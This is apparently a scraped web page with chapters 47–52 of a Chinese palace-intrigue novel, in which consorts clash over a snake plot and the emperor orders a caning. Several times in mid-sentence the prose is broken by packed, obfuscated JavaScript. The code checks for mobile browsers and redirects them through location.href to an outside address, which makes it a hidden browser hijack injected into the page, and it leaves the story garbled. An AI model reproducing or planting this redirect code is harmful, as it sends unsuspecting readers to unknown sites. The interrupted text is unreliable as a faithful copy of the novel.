姜妃翻了个白眼,根本没有理会的意思,又弯腰捏了捏贺云瑄的脸:“云瑄可记得我方才的话呀,若是我受了罚,可得让你娘亲多照顾照顾我。” 伴随着她这番话落下,不知为何,周围的空气都好像有些凝滞。 张公公更是抹了抹冷汗,这姜妃,还真是一丁点儿也不收敛,就连那目的都是写在脸上的。 什么和晋娘娘关系不好? 现在看来分明是早有预谋。 竟然连这等受伤求照顾的苦肉计都用上了。 陛下… 张公公小心翼翼的朝着轿子里看了一眼,他这会儿好像知道陛下最开始把姜妃弄来是什么心思了,只是现在… 明显感觉到轿子里的低气压,张公公正想再让姜妃住嘴,忽然听到贺云瑄仰着头认真道:“可是我娘亲不会照顾人,不如让我来照顾姜娘娘吧,我会做饭,会洗衣服,会打扫卫生,总能…” “云瑄!”晋明鸢听着贺云瑄不断的罗列自己会的东西,心里又是一阵心疼,连忙出声叫住了她。 姜妃脸上也闪过些许的惊讶之色,她很快就笑了笑:“哎呀,我跟你开玩笑呢,我幽兰馆下人多的是,哪能真用你娘亲来照顾? 我这刚搬过来,倒是是想与你娘亲拉近距离的,以后你们若是有时间,多来幽兰馆看我就是了。” 她话说的很是无所谓,但目光若有若无的落在晋明鸢身上,眼睛里还带着些许的疼惜。 她这几年明明过得不怎么样,可为什么… 姜妃想起来她刚入宫的时候,就有想来冷宫探望过,可那时候晋明鸢在冷宫里避不见客,能见到她的就只有贵妃。 她对贵妃从来都是不一样的,从小就是。 想到这些往事,姜妃嘴角溢出了个冷笑,怕是之前的晋明鸢,哪怕是今日知道贵妃在害她,她也会自己去帮贵妃搜罗一堆苦衷。 更不可能放任着自己,叫贵妃来挨罚,甚至会恨不得扑上去帮贵妃受罚。 现在看来,还是失忆的好,至少不用受那等小人蒙骗。 晋明鸢不知道姜妃心里所想,但她自己却想到了另一件事,她确实得与姜妃多走动走动,她很快就把姜妃的话应了下来。 另一边,轿辇前,张公公小心翼翼的道:“陛下要不要奴才提醒晋娘娘一句,她在冷宫,不能自由走动?” 这会儿张公公看向姜妃的时候,那目光简直像在看一个胆大包天的无耻之徒。 这真真是倒反天罡,抢人竟然还抢到陛下头上了,这姜妃还有没有天理了? 抢就算了,还当着陛下的面抢,张公公真不知姜妃是哪来的胆量如此放肆。 “没必要。”贺江灈摆了摆手,声音低哑,目光冷厉的透过帘子看向姜妃那只搭在晋明鸢肩膀上的手。 他就知道,这姜青雉一直心思不纯。 这么些年来,他始终都平等的厌恶晋明鸢身边的所有人,却又从来没有对晋明鸢做过什么,这已经很能说明问题了。 就算真的要禁止晋明鸢出冷宫,以那姜青雉的身手想要翻院墙,再容易不过。 与其让那女人在**的情况下,不知何时跑到冷宫来,倒不如放任着不管。 “陛下,贵妃娘娘到了。”贺江灈的心思,张公公自是猜不到,但他只看着姜妃在短短的时间里就已经和晋明鸢勾肩搭背,相谈甚欢的模样,就觉得一阵头疼。 在远远的看到贵妃被人带过来的时候,他脸上甚至有了几分惊喜之色。 得来,这贵妃以来就不用担忧那姜妃给陛下抢人惹陛下暴怒了。 贵妃一出现,立刻吸引所有人的目光都望了过来。 晋明鸢亦是皱着眉看她。 贵妃也是很敏锐的,就在人群里找到了晋明鸢的身影,她立刻就扑了过来:“姐姐,姐姐你没事吧?阿吟听闻冷宫出了事,可担心**呢。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482393|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这好端端的,宫里怎么会有蛇呢?姐姐快让我看看没有受伤吧?” 香风扑面而来,夹杂着女子担忧到极致的声音,这本是一幅温馨的场面,可方才姜妃在这里,大张旗鼓的缉拿凶手已经让所有人看得真切,此刻贵妃的做派就显得无比的虚伪。 不少人在看向贵妃时,目光都带了几分鄙夷。 晋明鸢脚步略微后退了半步,躲开了贵妃伸过来的手,她刚想直接质问,贺云瑄伸手拽了拽她的袖子,冲着她轻轻摇了摇头:“多谢清姨姨担忧,我与娘亲并无大碍。” “那就好,那就好,”贵妃捂着胸口唏嘘两句,转而又看向旁边的龙辇,急忙过去跪了下来,“陛下,臣妾求您给姐姐做主呀,姐姐这五年来在冷宫一直住的好端端的,今日姜妃才到,就出了这样的事端,这…” 她吸了吸鼻子,话都没有说下去,但眼泪已是接连不断的涌了出来,那模样煞是可怜。 从姜妃把静云揪出来,到处置人,都没有通过贺江灈,贵妃在玉粹宫禁足,更是对一切都不清楚。 至于姜妃虽然吩咐把静云打死后丢到玉粹宫,但从慎刑司到玉粹宫也有一段距离,故而这事还真就没传到贵妃耳朵里去。 贵妃只看着现在的阵仗,还以为自己的计策得逞了。 她完全不知她现在的作为,看在别人眼里是多么的讽刺。 徐婕妤实在是看不过去,轻轻咳嗽了一声,意图提醒贵妃。 但贵妃这会儿完全没有注意到旁人不对劲的脸色,她又道:“陛下,今日一早臣妾就求过您了,可您却执意要将姜妃送来幽兰馆。 如今这才几个时辰就出了如此事端,以后还不知道会有多少此类事情等着呢,还请陛下绝不能再姑息下去。 姐姐身边还有云瑄这么个不懂事的孩子,有心之人很容易在他们这里做文章,姜妃这等心思不纯之人,绝不能放在姐姐身边。 臣妾斗胆求陛下开恩,将姜妃弄回鸣雀宫。” 第48章 贵妃,你装够了吗 贵妃的话说的越是义正言辞,此刻听在旁人耳朵里就显得愈发古怪。 莫说是别人,就是在贺江灈身边的张公公,这会儿都忍不住替贵妃尴尬,他小声提醒道:“贵妃娘娘,您还是先起来吧,莫要再说下去了。” 贵妃不明所以,依旧义正言辞:“阿吟就这么一个姐姐了,阿吟会保护好姐姐的,陛下若是不答应阿吟,阿吟不会起来的。” 她态度分外的固执,换来的是姜妃一声冷笑:“好一个保护,好一番大义凛然,贵妃,你是不是觉得你现在的形象分外高大?哎呦,可真真是光辉夺目呀。” “姜妃,你给本宫闭嘴,你一个蛇蝎心肠戕害姐姐的人,有什么资格与我说话?”贵妃还维持着跪在地上的姿势,她回头看向姜妃时,正对上姜妃一双居高临下的眼睛,登时忍无可忍的怒道。 姜妃又是一声冷笑:“贵妃娘娘是在骂自己吗?要不贵妃自己猜猜为什么你在这儿哭了这么久,陛下一言不发?” 虽说贵妃对姜妃厌恶无比,但姜妃的这句话却还真的提醒到了她,是呀,冷宫出了事,若是真查到了姜妃头上,陛下肯定不会姑息的,为什么姜妃现在还活蹦乱跳的,陛下也是一言不发呢? 贵妃略微抬头,目光顺着帘子打开的缝隙去看轿辇里男人的脸。 那缝隙太小,她朦朦胧胧的看得并不真切,只能大约分辨出陛下应该是不悦的。 贵妃目光又看向不远处的晋明鸢,她大约能感觉到晋明鸢也是有些好奇的往轿子这里看。 明明这两人之间隔的距离不长,但因为轿帘的遮挡,分明是有一股见面不相识的感觉。 贵妃脑袋在垂下去的时候,心里已然有了计较。 想来就是她之前说的那些话起了作用,陛下根本就不想见晋明鸢,所以哪怕来了也在轿辇上不下来。 至于那姜妃,不过虚张声势罢了,若是陛下真的怀疑她,哪会沉默这么久? 这般想着,贵妃一下子就冷静了下来。 她不理会姜妃,继续祈求:“陛下,臣妾求您看在兄长舍命相救的面子上,看在我们从小到大的情谊上,看着云瑄年纪还小的份上,怜惜怜惜姐姐吧。” 贵妃情真意切,张公公又是一阵冷汗连连。 这贵妃也是哪壶不开提哪壶的,她说的那几句话,句句都在陛下的逆鳞上蹦哒。 先是赵公子,又是情意,再提贺云瑄,哪句不是在提醒陛下晋娘娘当年的背叛? 这根本就不像是给晋娘娘求请,反倒更像要治晋娘娘与死地啊。 “贵妃,你装够了没有?”晋明鸢忽然质问出声,手已经搭在了贺云瑄的肩膀上,宽大的袖子将贺云瑄半个身子都遮盖了个严实。 贵妃口中她兄长舍命相救,又或者是从小到大的情谊,这些晋明鸢一概不知。 可贺云瑄对她来说意味着什么,她却是清楚的,人人都道云瑄是野种,陛下也因为这个原因把她丢进冷宫,在这样的情况下,当着那陛下的面提云瑄的名字,这不是没事找事吗? 虽然晋明鸢不知道方才贺云瑄为什么阻止她开口,但这会儿她却再也忍耐不住了。 看着贵妃那张有些错愕的脸,晋明鸢又道:“你还不知道吧?你做的那些事已经人尽皆知了,可怜你还在这儿装大度,装贤惠,我都替你丢人。” “姐姐,我…你怎么能这么说我?是我哪儿做的不好,让姐姐误会了吗?”贵妃柔声细语的问,一副弦然欲泣的模样,好像眼泪随时都能落下来。 可现在再见她这般姿态,晋明鸢却生不起一丁点的怜悯。 晋明鸢直接看向了那半遮半掩的龙辇:“喂,那个陛下,你刚才答应的事可还算数?你还要让她在这儿哭多久?能不能赶紧把你虚情假意的贵妃弄走,免得让人看了心烦。” “姐姐,我…”贵妃蓦地睁大了眼睛,她不知道贺江灈之前答应过什么,但是听晋明鸢这语气,她总觉得有几分不安。 尤其是在晋明鸢身边,那姜妃竟然笑得很是得意:“陛下一言九鼎,自然是不会反悔的,来人,上刑。” 她这么一吆喝,贵妃才发现冷宫院子里竟然摆了两个条凳。 那姜妃更是一点儿也不避讳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482394|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的寻了一个趴上去,一副任人处置的模样,看起来潇洒的不行,可她旁边分明还有一个空凳子。 不用旁人说这是给谁的,贵妃心里就已经升起了几分不祥的预感。 “贵妃娘娘请吧。”果然下一刻,她就听到张公公客气的声音。 “陛下!陛下,这是怎么回事?可是阿吟做错了什么?陛下是在怪阿吟替姐姐求情吗?可陛下您明明知道的,阿吟如今亲人越来越少,阿吟想保护姐姐有什么错?陛下怎么能…” “贵妃,方才拿蛇来害晋娘娘的时候,没有看到你对晋娘娘有一丝的怜惜,现在东窗事发了,你又想拿晋娘娘替你避罚,这世上哪有这么容易的事? 二十大板而已,又伤不得性命,贵妃既然那么在意晋娘娘,做了错事,难道不应该赔罪吗?别僵持了,快过来吧,咱们这点小事,别耽误了晋娘娘用晚饭。”姜妃似笑非笑的说。 东窗事发? 难道陛下一切都知道了? 难怪… 难怪这姜青雉还好端端的,难怪陛下对她一言不发,难怪这里的人态度都很古怪。 想到自己刚才说的那些话,贵妃心里隐约的升起了些许尴尬,但很快她就缓了过来,又冲着龙辇道:“陛下,事情是臣妾做的,可臣妾也是为了姐姐啊! 陛下不理会臣妾的请求,执意让姜妃住到姐姐身边,臣妾实在是担忧姐姐遭人毒手,这才故意出此下策想要…想要…” “想要将我赶走啊,贵妃,你知不知道那蛇是不可控的,若今日不是我刚好在场,晋娘娘真被咬伤也说不准,这就是你说的为晋娘娘好?” 姜妃没有等贵妃说完,她又动作利落地从条凳上翻了下来,上前扯住了贵妃的胳膊道,“事可是都说好了,我与贵妃一起受罚,但现在看来没有人敢对贵妃行刑,那我来好了。” 平日里,那陛下恨不得将贵妃当眼珠子护着,今日好不容易等他松了一次口,姜妃可没打算就这么放过。 她一早就清楚,哪怕错事是贵妃做的,想让陛下单罚贵妃是不可能的,她宁愿伤敌一千自损八百。 第49章 是她把他气走了? 姜妃话说着,拎着手里的长鞭就直冲贵妃而来。 就像是耐心耗尽,她已不愿意再给贵妃一丁点儿狡辩的机会。 周围的嫔妃见这一幕,纷纷乱作一团,惊叫声连连,生怕被发疯一样的姜妃误伤。 贵妃更是浑身发抖不止:“姜妃,住手!你疯了吗?陛下还在呢,岂容得到你如此撒野?” 她一边躲闪着姜妃手里的鞭子,一边直冲着贺江灈的龙辇就扑了过来。 破风声就好像在耳边响起,贵妃颤巍巍的一头就往龙辇里撞,嘴上更是颤抖的喊着:“陛下!姜妃妹妹如今越发不把您放在眼里了,还请陛下赶紧给她点教训。” 眼见着贵妃就要一头栽进龙辇里,一只手却从轿辇中伸出来,先贵妃一步紧攥住了微敞的帘子,将贵妃隔绝在外。 贺江灈沉声道:“姜妃,住手!” 手里挥起来的鞭子硬生生地将在空中,姜妃再看向龙辇的时候,脸上的不满之色愈发明显。 果然是这样,只要给贵妃一点儿喘息机会,只要让贵妃求情,那什么惩罚,什么承诺,通通没有作用。 想到这里,姜妃不知怎么,回头怜惜的看了晋明鸢一眼,再转过头来的时候,她又是一副愤愤不平的模样。 只是还没有等她说话,就听轿中的人又不紧不慢的道:“阿吟,你如今越来越没有规矩了,朕给你协理六宫的权利,你却滥用私权,做出这等错事,到底是朕太信任你了。 今日你做的事人尽皆知,朕若是再护你,你让朕怎么服众?” 他声音轻飘飘的,话里好像还带着几分叹息之意,就好像格外的无奈。 贵妃一脸惶恐的立在龙辇旁边,她手揪着裙摆,脑袋低垂着,闷声道:“陛下,臣妾也是为了姐姐,臣妾…” “朕要的不是理由,阿吟,今日是你错了,错了就是错了,这二十大板你该受着,过去趴下吧。”贺江灈直接打断了贵妃的话,他不看贵妃错愕的脸,又转而扫向姜妃,“还愣着做什么?要朕请你?” “臣妾不敢。”姜妃应了一声,又兀自朝着那条凳走去。 她的目光有一瞬间在贵妃身上停留,眼睛里闪过几分讽刺。 还真是情深义重呢,他那话说的可真够明白的,之所以会罚贵妃,并不是因为贵妃错了,而是因为这儿有那么多人看着他没法收场。 那晋娘娘呢? 他当着晋娘娘的面说这种话的时候,可曾想过晋娘娘的感受? 哦,幸好,幸好晋娘娘失忆了,想来也不会在意他这副薄情寡义的嘴脸了。 “姜妃,等等。”就在姜妃要往那条凳上趴的时候,一只手忽然攥住了她的手腕,晋明鸢挡在了姜妃面前,她冲着那轿辇上的人道,“陛下是吧,敢问姜妃做错了什么,要与贵妃同罪? 买通下人放蛇害人的是贵妃,捉蛇调查真相的却是姜妃。 明明姜妃所作所为,都是在维护宫里的和平,凭什么让她与罪魁祸首受一样的罚,这不公平。” “不公平?那你告诉朕什么叫公平?你知不知道像你与她这般,目无尊卑的挑衅朕,按宫规该罚的就不止二十大板。” 贺江灈反问一句,他的手撑着太阳穴,微风拂过,敞开帘子的一角,手指上雕着龙纹的白玉扳指分外晃眼。 旁边贵妃已经被按到了条凳上,板子打在人身上的闷响声伴随着惨叫声混杂在一起,明明声音过分嘈杂,也足够吸引所有人的注意力,可偏又没有人去关注此刻的贵妃。 “姜妃所作所为,全是因贵妃而起,归根结底也该怪贵妃,若是没有贵妃的歹毒手段,若是没有您意图偏袒,姜妃又何至于失礼?”晋明鸢道。 她不知姜妃为什么要维护自己,可她却知道姜妃如今遭难是因为自己,那她便不能袖手旁观。 她这人从来都恩怨分明。 “所以你的意思是怪朕?”贺江灈问。 他锐利的目光透过飘扬的帘子朝着晋明鸢扫过,话里带着些许玩味。 晋明鸢双手一摊,一副无赖的模样:“既然你也那么觉得,那应该就是吧,反正不能怪姜妃。” 她话音落下,换来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482395|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是龙辇上的人片刻的沉默。 以张公公为首的所有人都冷汗不止,更有甚者已经暗自在心里替晋明鸢捏了一把汗。 只有姜妃,像是一点儿都没有觉得晋明鸢说错了话一般,笑眯眯的对着晋明鸢竖了竖大拇指,还很是解气的,压低了声音嘀咕道:“就是这样,气死他丫的,移情贵妃,维护贵妃,现在还想装好人,呸,不害臊。” 姜妃声音低,话也说的含糊不清的,就算距离近,晋明鸢也没太听清她说的什么,但通过她的神态和语气,大抵也能分辨出来,她对那轿辇上的人很是不屑。 巧了,晋明鸢也不屑。 晋明鸢又自顾自的道:“只要长眼睛的都看得出来,今日姜妃没错,若是您执意要罚个人,罚我算了,反正我说话比姜妃难听,顶撞你也比姜妃厉害,怎么也该罚我才是。” 她手拍着姜妃的肩膀,一幅义薄云天的姿态,但谁都能听出来她话里的挑衅,分明一点儿也不比姜妃少。 张公公额角的冷汗成功顺着脸颊滚落了下来。 疯了,真是疯了。 要知道今日陛下因为贵妃的话,想起曾经,对晋娘娘本就是有意见的,现在晋娘娘还如此挑衅,这事儿怕是没法善了了。 张公公小心翼翼的朝着贺江灈的方向看了一眼,就听到男人声音讥讽:“别太自以为是,你还不配。” 伴随着声音落下,张公公正对上一双凌厉的目光,还有男人微微抬起的手。 他揉了揉眼睛,甚至觉得自己眼花了,可很快又反应过来,连忙尖着声音高声道:“陛下起驾。” 走了?这就走了? 一众嫔妃面面相觑,分明没有从此刻的场景里反应过来。 晋明鸢更是睁大了一双眼睛。 她这是把他气走了? 甚至把他气到忘了罚人? 天底下还有这好事儿,那他下次若是再来,她还气他。 在场的嫔妃们亦是错愕无比,纷纷想不到事情竟然这么简单就被应付了过去。 唯有贵妃… 第50章 你认识那个暗卫? 板子一下下的砸在身上。 待到行刑结束的时候,明黄色的龙辇已经在贵妃眼里成了一个微小的几乎看不到的黑点。 贵妃浑身颤抖着,虚弱无力的趴在条凳上,眼睛里的怨恨几乎要化作实质。 满春瞧着贵妃那一身的伤,心疼不已道:“娘娘,您先等奴婢一会儿,奴婢让人抬个轿辇过来。” “哎呦,贵妃就是娇气呀,区区二十板而已,就让你虚弱到不良于行了?”姜妃这会儿气焰又回来了,得意洋洋的接上了满春的话。 明明也是名门贵女,可此刻她身上偏让人感觉到了一股小人得志的意味。 贵妃心里呕的要死,稍一动作,就牵扯到了伤口,疼的她倒吸一口凉气,满春则不满的替她出头:“姜妃,你得意什么?若不是有人给你求情,今日你也好不到哪里去。” “哎哟,是呀,有人给我求情,怎么没有人给贵妃求情呀?还不是贵妃娘娘沾的脏事太多遭报应了?”姜妃讥笑道。 贵妃铁青着脸,险些维持不住她一贯的柔弱温柔。 她捂着胸口,好一会儿才平复下胸腔里的怨气,抬眼看向了晋明鸢:“姐姐,你是在怪我吗? 可我的所作所为,都是为了姐姐好呀,姐姐如今失忆,不知这姜妃为人,阿吟也是怕你被她骗了,所以才使这般手段的。 阿吟也只是想要将她赶走,绝无要借此害姐姐的意思,姐姐不要生阿吟的气好不好?” “不好。”晋明鸢半点犹豫也没有,直接就接上了贵妃的话,对上贵妃一双错愕的眼睛,她又要说话,贺云瑄却在这时候站了出来。 他很是关切的道:“清姨姨,你的伤疼不疼?我们这里也没有药,清姨姨先回去吧,娘亲今日就是在气头上,她不是故意和清姨姨生气的,今日她态度不好,请清姨姨莫要放在心上,等会儿她自己想明白了就好了。” “云瑄!”晋明鸢不满的叫了贺云瑄一声。 这已经是第二次了。 刚才贵妃刚来的时候,她想拆穿贵妃的时候,就是贺云瑄拉住了她,现在又是这样。 好像她的儿子对贵妃总是无比的亲密。 甚至在这样的时候还维护贵妃。 “娘亲,清姨姨才是你的姐妹,你不能因为失忆了,就对清姨姨这么疏远,左右清姨姨也是为你好,娘亲还是别让清姨姨难过了。”贺云瑄绷起了一张小脸,一副小大人的模样。 晋明鸢皱着眉,又想反驳,贺云瑄的手攥住了她一根手指轻轻摇晃,就像带着些许撒娇的意味。 晋明鸢别过了脸,索性不再说话。 贺云瑄又道:“满春姑姑,你快扶清姨姨回去养伤吧,娘亲这里我会去说的。” 贵妃又揉了揉眼睛:“姐姐,你现在不记得我了,或许对我也有误解,但不管如何,在阿吟这里,姐姐都是阿吟最重要的人,姐姐可莫要被别有用心的人骗了。” “行了你,在这里内涵谁呢?贵妃,大家都是一个圈子里的,你什么样的人品多的是人知道,别以为进了宫做了贵妃就干净了,你之前做过的事,总有一天,我会查到证据的,还不走?”姜妃道。 “贵妃娘娘…”满春试探着唤了贵妃一声。 贵妃愤愤的看了姜妃一眼,遂又把手搭在了满春手背上:“走吧。” 但随着贵妃离开,一众妃嫔也稀稀拉拉的各自寻了理由告辞。 他们走的这样干脆,一方面是因为戏已经看完了,另一方面则是赶着去探望贵妃。 冷宫里一下子就空了下来,贺云瑄看着还没离开的姜妃道:“姜娘娘,今日谢谢你在这里替娘亲撑腰。” “什么撑腰不撑腰的,我就是单纯看不惯贵妃罢了,反正跟你们无关,你们也不用放在心上。”姜妃挠了挠头,之前还一副嚣张的模样,在面对贺云瑄的道谢时,她却好似生了些许的尴尬。 “那不一样,还是要谢的,还有也要谢过姜娘娘记挂娘亲。”贺云瑄说。 姜妃戳了戳贺云瑄的脸:“你小小年纪,规矩倒是不少,心眼也不少,啧,和那个人还真是一脉相承。” “那个人?”贺云瑄闷声重复一遍。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482396|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜妃嗤笑:“心眼儿多点倒也不是坏事,别学他那薄情寡性就是,你娘为了你遭了不少罪,你可不能让你娘伤心。” 姜妃话里带着明显的讽刺之意。 任谁都能听出来她对她口中的那个人很是厌恶。 贺云瑄还想问什么,晋明鸢道:“云瑄,姜妃帮了我们大忙,你怎么也不知去给人倒杯茶?” 乍一听到晋明鸢的话,贺云瑄似是愣了一下。 这几日娘亲从来不会指使他干活,今日怎么… 他抬眼小心看了晋明鸢一眼,很快就反应过来这是对方要故意支开他的。 但他也只是短暂的怔愣,就很是善解人意的应了一声。 待到贺云瑄离开,晋明鸢立刻就把姜妃拉到了一边小声道:“你认识那个小肚鸡肠的暗卫?你知不知道怎么找到他?” “暗卫?”姜妃一脸茫然,“什么暗卫?” “就是你刚才说的那个人啊,听你的语气好像跟他很熟,你能不能让他来一趟?”晋明鸢道。 刚才他急着见姜妃,就是想打探一下这消息的。 怕是也只有姜妃这种位高权重的人,才能接触到暗卫。 她还得找那小肚鸡肠的狗男人,把云瑄的师傅讨回来呢。 那男人现在不来见她,她只能自己打听了。 “你是说…”姜妃喃喃自语,话里更是明显的不确定,“他自己跟你说的?” 晋明鸢点点头:“你刚才不是说的他吗?” 姜妃的表情很是一言难尽。 她不由的就想到了那停在冷宫门口的轿辇,还有一步不肯下来的男人。 呵,刚才他还以为那人故意凹高贵的架子,合着竟是早就拿了别的身份过来哄骗个失忆的人。 坐在轿子上,那分明是怕身份暴露啊。 姜妃毫不怀疑晋明鸢口中的暗卫是谁,毕竟除了那人,也没谁有那么大胆子了。 嘴角溢开了一个意味不明的笑,姜妃道:“是吧,我不知道晋娘娘说的是哪个,不如晋娘娘跟我说说他与你说什么了?” 第51章 该求人的不是晋娘娘 “这…我…”晋明鸢总觉得姜妃的话有些奇怪,但又好像也还算合理,她仔细回想着,瞧着姜妃那张好奇的脸,“倒也没有说什么,那个人很好认的,与云瑄的眉眼生得有些像,姜妃娘娘可曾见过?” “见过吧…”姜妃慢悠悠地开了个头,晋明鸢已经迫不及待地挽住了她的胳膊,“你真见过他?那能不能麻烦姜妃娘娘帮忙传句话,让他来一趟?” “让他来?晋娘娘,知不知道在这宫里私会外男就是死罪?连我都听闻晋娘娘这几年在冷宫过得不好的事,那人既然有些权势,却从来没有管过,这种人晋娘娘何必再为他冒险?”姜妃皱着眉说。 她眼睛里隐约有暗芒闪过,话里也带了几分挑拨离间的意思。 这空中私会外男本来就是死罪,那人既然不以真面目露面,非要编个假身份过来哄骗,那就别怪她了。 晋明鸢说:“哎呀,姜妃你误会了,谁是为了他呀,只是他之前答应给云瑄个师傅,后来就不露面了,我是为云瑄的事着急。” “只是为了云瑄?”姜妃问。 晋明鸢近乎笃定的点了点头,姜妃这才松了一口气:“哎呀,你早说呀,不过就算如此,娘娘也还是不要冒险见那人了。 先不说私会外男的事,就单单说他既然承诺了帮云瑄找师傅,最后却无影无踪,就说明这人不可靠,晋娘娘又何必将希望寄托在这么个人身上?” “话虽如此,可是云瑄如今年纪已大,总得找人教他功课,这…”晋明鸢有些犹豫,那个莫名其妙的男人如何?她确实是不在意的。 只是可惜了云瑄的那个师傅,虽然云瑄什么都不说,可她也能感觉到云瑄是在意那个师傅的,想来的人是有些真本事的。 “晋娘娘如果不嫌弃的话,不如我来教云瑄,别的不说,骑射功夫我可是一顶一的好,还有拳脚功夫,我也会些的,娘娘也不用担忧,我父亲乃是当朝定国将军,入宫之前,我便是跟在父亲手下学习,入军营与人比试也是有的,总之目前来说,教一个孩子绝对没有问题。”姜妃笑盈盈的毛遂自荐。 “你说真的?姜妃你真能教云瑄?”晋明鸢有些讶异的看着姜妃,这姜妃生的娇小,个子不高,如果她不说话,倒是像极了江南水乡里柔弱温暖的姑娘,晋明鸢实在想不到,她竟然还会这些。 姜妃点了点头:“生在将门,怎么也得学些皮**,不能给父亲丢脸。” 听她这句解释,晋明鸢有些失望:“哎,之前听人提起我父亲好像也是个将军的,据说还一直驻守北疆,为什么我好像连皮**也没学到?” 这些日子她算是摸出来规律了,虽说她已经失忆了,但是对自己之前会的东西是会有肌肉记忆的,可是对于武术这些,她好像真的一窍不通。 除了天生力气大些以外… 姜妃目光有些闪烁,再看向晋明鸢的时候,那双眼睛里尽是复杂,她说:“那是因为你自小在京中长大,并非在镇北将军身边,否则,以晋娘娘的性子,也一定能做巾帼不让须眉的大将军。” “我不是在我父亲身边长大的?”晋明鸢彻底被姜妃的话勾起了好奇,她醒来不是没有打听过自己的身世。 毕竟在这冷宫和儿子待了五年,如果家里还有些权势的话,怎么也得想办法送些东西过来,而不是让她们母子自生自灭。 可是这周围的所有人告诉她的也只有她父亲是镇北将军这一件事,其余的好像一概不知。 但对于这个镇北将军,却又谁都知道那是一品武将,是手握本朝近一半的兵权,镇守北疆的大人物。 以他这等的身份地位,若是心疼女儿想要找人送些东西进来并不难,可这5年显然没有。 那就只有一种可能,就是她与父亲关系不好。 现在姜妃的话也算是证实了她这个猜测。 姜妃并没有马上回答,但看向晋明鸢的目光里,却不知为何带了些许的怜惜。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482397|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就在这时,贺云瑄端着刚沏好的茶,摇摇晃晃的走了过来,感觉到气氛明显的不对,他问:“娘亲,姜娘娘,你们刚才说什么了?” “没说什么,云瑄赶紧过来,姜妃娘娘答应以后教你拳脚功夫,快过来叫师傅。”晋明鸢说。 看来他失忆之前与自己家里人关系也不怎么样,已经是板上钉钉的事了,这种糟心事她也没打算让云瑄知道,直接拉了贺云瑄的胳膊,就转移话题道。 “娘亲,我不是已经拜过师了吗?”贺云瑄道。 “哎呀,你那师傅明显就不靠谱,说走就走,也没教你什么东西,那不算数的,从现在起你就跟着姜妃学习,自然是姜妃是你师傅。”晋明鸢说。 提到暗二,晋明鸢心里也是一肚子火气。 明明已经答应了做云瑄的师傅,结果却跟着那个男人走的痛快,这分明就是没真心教云瑄的意思,简直一点责任心都没有。 那样的师傅不要也罢。 “娘亲,可我还是觉得这样不太好,就算…” “哎呀,只是一个称呼而已,云瑄若是不想叫就不叫嘛,左右我也只是随便教你一些皮**,不如这样,以后云瑄就唤我一声姜姨? 这样你总不会不愿吧,我听你唤贵妃就是这般唤的。”姜妃无所谓的出来打圆场。 她自己心里也清楚,她教贺云瑄不了几日的,她就是存心的膈应那人。 答应了晋娘娘给云瑄请先生,到最后又什么都不做,这不就是明摆着想让晋娘娘求他吗? 呵,天底下哪里有那么好的事? 就算要求,该求人的也不是晋娘娘。 “不是不愿,我只是不明白姜妃为什么会对我娘亲这么亲近?如今我娘亲深陷冷宫,什么东西都给不了你,你为何要主动凑上来? 据我所知,你可没有和贵妃一样,和我娘亲之间多年的青梅竹马情谊。”贺云瑄盯着姜妃,一板一眼的道。 第52章 是不是破镜重圆 这个问题他早就想问了。 今日从始至终,这个姜妃好像一直都在替娘亲出头。 甚至为了能让贵妃受罚,不惜以身入局。 